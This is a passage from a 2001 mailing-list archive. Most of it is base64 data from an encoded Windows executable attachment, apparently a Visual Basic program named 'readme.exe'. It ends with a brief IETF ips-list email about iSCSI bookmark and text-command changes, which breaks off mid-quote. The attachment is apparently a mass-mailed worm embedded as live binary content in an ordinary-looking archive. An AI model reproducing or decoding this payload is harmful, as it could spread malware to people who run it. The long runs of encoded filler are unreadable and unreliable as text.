QADraY2VHP///42FIP///1KNjST///9QjZUo////UVJqBP8VrBBAAI2FFP///42NGP///1BRagL/ FSAQQACNlcT+//+NhdT+//9SjY3k/v//UI2V9P7//1GNhQT///9SUGoF/xUQEEAAg8Q4w4s17BBA AI2N+P3//1H/1o2V9P3//1L/1o2FPP7//42NQP7//1BRagL/FSAQQACNlfz9//+NhQz+//9SjY0c /v//UI2VLP7//1FSagT/FRAQQACLNQwQQACDxCCNTdz/1o1NzP/WjU28/9aNTaz/1o1NnP/WjU2M /9aNjXz/////1o2NbP/////WjY1c/////9aNjUz/////1o2NPP/////WjY0s/////9bDi0UIUIsI /1EIi0X8i03sX15kiQ0AAAAAW4vlXcIEAJCenp6eDDcAAP//////////DDgAAAAQAAAAAAAAAAAA AAAAAAAAAAAAAAAAABo4AAAkOAAAMjgAAEI4AABSOAAAZjgAAHI4AACCOAAAljgAAKo4AAC4OAAA xjgAAN44AACaAgCA7jgAAFMCAIAAOQAAEjkAAFYCAIAkOQAAODkAAEI5AABSOQAAYDkAAHQ5AACE OQAAkjkAAKA5AAC0OQAAwjkAANg5AADiOQAA/jkAABQ6AAAiOgAAzAIAgDQ6AABIOgAAVjoAAGA6 AABsOgAAhjoAAJg6AACqOgAAvjoAANA6AABkAACA3joAAO46AAAAOwAAEDsAAB47AAAyOwAAQDsA AFg7AABiOwAAcjsAAIQ7AACOOwAAmDsAAKo7AAC8OwAAxjsAAAAAAABNU1ZCVk02MC5ETEwAAAAA X0NJY29zAAAAAF9hZGpfZnB0YW4AAAAAX192YmFWYXJNb3ZlAAAAAF9fdmJhRnJlZVZhcgAAAABf X3ZiYUZyZWVWYXJMaXN0AAAAAF9fdmJhRW5kAAAAAF9hZGpfZmRpdl9tNjQAAABfX3ZiYU5leHRF YWNoVmFyAAAAAF9fdmJhRnJlZU9iakxpc3QAAAAAX2Fkal9mcHJlbTEAAABfX3ZiYVN0ckNhdAAA AF9fdmJhSHJlc3VsdENoZWNrT2JqAAAAAF9hZGpfZmRpdl9tMzIAAABfX3ZiYVZhckZvckluaXQA AABfYWRqX2ZkaXZfbTE2aQAAAABfYWRqX2ZkaXZyX20xNmkAAABfX3ZiYUJvb2xWYXJOdWxsAAAA AF9DSXNpbgAAAABfX3ZiYVZhclplcm8AAAAAX192YmFDaGtzdGsAAABFVkVOVF9TSU5LX0FkZFJl ZgAAAF9fdmJhVmFyVHN0RXEAAABfX3ZiYU9ialZhcgAAAF9fdmJhVmFyT3IAAAAAX192YmFWYXJM YXRlTWVtU3QAAABfYWRqX2ZwYXRhbgAAAEVWRU5UX1NJTktfUmVsZWFzZQAAAABfQ0lzcXJ0AAAA RVZFTlRfU0lOS19RdWVyeUludGVyZmFjZQAAAF9fdmJhRXhjZXB0SGFuZGxlcgAAAABfYWRqX2Zw cmVtAAAAAF9hZGpfZmRpdnJfbTY0AAAAAF9fdmJhRlBFeGNlcHRpb24AAAAAX192YmFWYXJDYXQA AABfQ0lsb2cAAAAAX192YmFOZXcyAAAAX192YmFWYXJMYXRlTWVtQ2FsbExkUmYAAABfYWRqX2Zk aXZfbTMyaQAAAABfYWRqX2ZkaXZyX20zMmkAAABfX3ZiYUZyZWVTdHJMaXN0AAAAAF9hZGpfZmRp dnJfbTMyAAAAAF9hZGpfZmRpdl9yAAAAX192YmFWYXJUc3ROZQAAAF9fdmJhVmFyU2V0VmFyAAAA AF9fdmJhVmFyQ21wRXEAAABfX3ZiYVZhckFkZAAAAF9fdmJhTGF0ZU1lbUNhbGwAAAAAX192YmFW YXJEdXAAAABfX3ZiYVZhckxhdGVNZW1DYWxsTGQAAABfQ0lhdGFuAAAAX192YmFTdHJNb3ZlAAAA AF9fdmJhRm9yRWFjaFZhcgAAAF9hbGxtdWwAAABfQ0l0YW4AAAAAX192YmFBcnlVbmxvY2sAAAAA X192YmFWYXJGb3JOZXh0AAAAX0NJZXhwAAAAAF9fdmJhRnJlZVN0cgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAbPyAOwAAAAAAAAMAAwAAAFgAAIAOAAAAQAAAgBAAAAAoAACA AAAAAGz8gDsAAAAAAAABAAEAAACAAACAAAAAAGz8gDsAAAAAAAABAAEAAACYAACAAAAAAGz8gDsA AAAAAAADADF1AADgAACAMnUAAMgAAIAzdQAAsAAAgAAAAABs/IA7AAAAAAAAAQAJBAAA+AAAAAAA AABs/IA7AAAAAAAAAQAAAAAACAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAGAEAAAAAAABs/IA7AAAA AAAAAQAAAAAAKAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAOAEAAFBRAAAIAgAAsAQAAAAAAABYUwAA MAAAALAEAAAAAAAAiFMAACgBAACwBAAAAAAAALBUAADoAgAAsAQAAAAAAACYVwAAMAEAALAEAAAA AAAAAAAAAAAAAAAIAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAA AQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAAAAFYAYQBy AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE aAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAARAEAAAEAMAA0ADAAOQAwADQAQgAw AAAAMAAQAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABWAG8AZABhAHQAZQBsAAAAMAAOAAEA UAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAByAGUAYQBkAG0AZQAAAAAALAAKAAEARgBpAGwAZQBW AGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAwAAAAAAAwAAoAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMA aQBvAG4AAAAxAC4AMAAwAAAAAAAwAA4AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHIAZQBh AGQAbQBlAAAAAABAABYAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAcgBlAGEA ZABtAGUALgBlAHgAZQAAAAAAAAABAAMAICACAAEAAQAwAQAAMXUgIBAAAQAEAOgCAAAydRAQEAAB AAQAKAEAADN1KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA AIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACPB3AAAACP//8HdwAA/////wcAAAD/////AAAAAP ////8AAAAA///4AAAAAAD4AADuAAAAAADu7gAAAAAA7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAP//AAD//wAA/48AAPgDAADAAQAAwAcAAMAPAADADwAAwA8AAMAPAADADwAA wH8AAMf/AAD//wAA//8AAP//AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A /wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AI//B3AAAAAAAAAAAAAAj////wd3cAAAAAAAAAj///////8Hd3dwAAAAAP//////////B3dwAAAA AAD//////////wdwAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD///////// /wAAAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD//////////wAAAAAAAAAA //////////8AAAAAAAAAAP///////4iIAAAAAAAAAAD/////iIgAAAAAAAAAAAAA//+IiAAA7u4A AAAAAAAAAIiIAADu7gAAAAAAAAAAAAAAAO7uAAAAAAAAAAAAAAAA7u4AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA/////////////////////////////8H///wAf/+AAB/4AAAH+AAAH/gAAH/4AAH/ +AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAP//4A///+D////v///// //////////////////////////////8oAAAAIAAAAEAAAAABAAEAAAAAAAABAAAAAAAAAAAAAAAA AAAAAAAAAAAAAP///wD/////////////////////////////wf///Dx//8P8H/g//Af7//wf+//8 f/v//f/7//3/+//9//v//f/7//3/+//9//v//f/7//3/+//B//v8Pf/7w8H/+Dw///vD///4P/// +//////////////////////////////////////////////////////////////////B///8AH// wAAf+AAAB/gAAB/4AAB/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gA Af/4AD//+AP///g////7////////////////////////////////////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA ------_=_NextPart_000_01C13542.4C549F94-- From owner-ips@ece.cmu.edu Tue Sep 4 11:23:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19189 for ; Tue, 4 Sep 2001 11:23:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84E6Qd11567 for ips-outgoing; Tue, 4 Sep 2001 10:06:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84E6OP11561 for ; Tue, 4 Sep 2001 10:06:24 -0400 (EDT) Received: from ahganemw2k (dhcp-161-44-68-109.cisco.com [161.44.68.109]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id KAA03913 for ; Tue, 4 Sep 2001 10:06:12 -0400 (EDT) From: "Ayman Ghanem" To: Subject: RE: iSCSI - bookmarks change Date: Tue, 4 Sep 2001 09:05:21 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, The revised text command looks fine. There are a couple of sections that need cleanup: 1- Section 1.1.2 2- The reject message should no longer have "bookmark rejected" reasons -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Julian Satran > Sent: Tuesday, September 04, 2001 4:19 AM > To: ips@ece.cmu.edu > Subject: iSCSI - bookmarks change > > > Now that text commands are out of login (and we don't have to > care too much > about the immediate version) we can rationalize the bookmarks. > > Here is my 